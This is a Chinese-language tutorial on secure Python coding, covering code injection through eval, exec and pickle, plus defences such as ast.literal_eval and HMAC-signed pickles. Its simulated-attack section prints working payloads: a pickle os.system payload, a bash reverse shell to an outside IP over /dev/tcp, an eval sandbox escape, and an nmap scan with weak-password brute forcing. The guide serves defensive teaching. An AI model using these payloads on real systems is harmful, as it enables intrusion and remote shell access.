Python安全编码
什么是代码注入
代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。
###Python中常见代码注入
能够执行一行任意字符串形式代码的eval()函数
| 1 | >>> eval("__import__('os').system('uname -a')") | 
能够执行字符串形式代码块的exec()函数
| 1 | >>> exec("__import__('os').system('uname -a')") | 
反序列化一个pickled对象时
| 1 | >>> pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.") | 
执行一个Python文件
| 1 | >>> execfile("testf.py") | 
pickle.loads()代码注入
某不安全的用法:
| 1 | def load_session(self, session_id=None): | 
注入的代码:
| 1 | >>> import os | 
这些函数使用不当都很危险
os.system
os.popen*
os.spawn*
os.exec*
os.open
os.popen*
commands.*
subprocess.popen
popen2.*
一次模拟的实践
通过这次实践发现系统中的诸多安全薄弱的环节,执行流程如下:
- nmap扫描IPnmap -v -A *.*.*.* -p 1-65535,通过nmap扫描后会发现公开的服务。
- 暴力破解登录名密码test 123,弱口令登陆系统。这个地方的薄弱点在于开发过程中容易留下便于程序员测试后门或若口令。
- 成功登陆系统后寻找代码注入点,通过成功找到注入点后可执行代码注入通过反向shell连接服务器提权eval("__import__('os').system('/bin/bash -c \"/bin/bash -i > /dev/tcp/10.10.10.130/12345 0<&1 2>&1 &\"')")
todo 第三步在整个系统中发现了两个可进行代码注入的漏洞,第一个为pickl反序列化用户登录信息的时候没有做校验,这样当对应的存储介质(memcache、redis)没有开启登录认证并且暴漏在公网中很容易注入代码。第二个为在系统中一些配置直接使用eval函数执行配置中的Python代码进行注入。
todo 反向shell介绍
如何安全编码
- 严格控制输入,过滤所有危险模块,遇到非法字符直接返回。
- 使用ast.literal_eval()代替eval()
- 安全使用pickle
下面就着几个点来说一下:
eval()方法注释:
| 1 | eval(source[, globals[, locals]]) -> value | 
ast.literal_eval()方法注释:
| 1 | Safely evaluate an expression node or a string containing a Python expression. The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None. | 
使用ast.literal_eval()代替eval()对比:
| 1 | ast.literal_eval("1+1") # ValueError: malformed string | 
eval禁用全局或本地变量:
| 1 | >>> global_a = "Hello Eval!" | 
寻找eval的突破点
eval("[c for c in ().__class__.__bases__[0].__subclasses__()]", {'__builtins__':{}})
参考点:
| 1 | ( | 
安全使用pickle
| 1 | >>> import hmac | 
如何提高安全编码意识?
参考资料
http://www.programcreek.com/python/example/5578/ast.literal_eval
https://segmentfault.com/a/1190000002783940
http://www.yunweipai.com/archives/6540.html
http://blog.csdn.net/chence19871/article/details/32718219
http://coolshell.cn/articles/8711.html
http://stackoverflow.com/questions/15197673/using-pythons-eval-vs-ast-literal-eval
https://www.cigital.com/blog/python-pickling/
https://github.com/greysign/pysec/blob/master/safeeval.py
附录
nmap扫描部分结果
What is nmap?
Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a “map” of the network.
-A: Enable OS detection, version detection, script scanning, and traceroute
-v: Increase verbosity level (use -vv or more for greater effect)
-p 
| 1 | root@bt:~# nmap -v -A *.*.*.* -p 1-65535 | 
Links:
http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/

























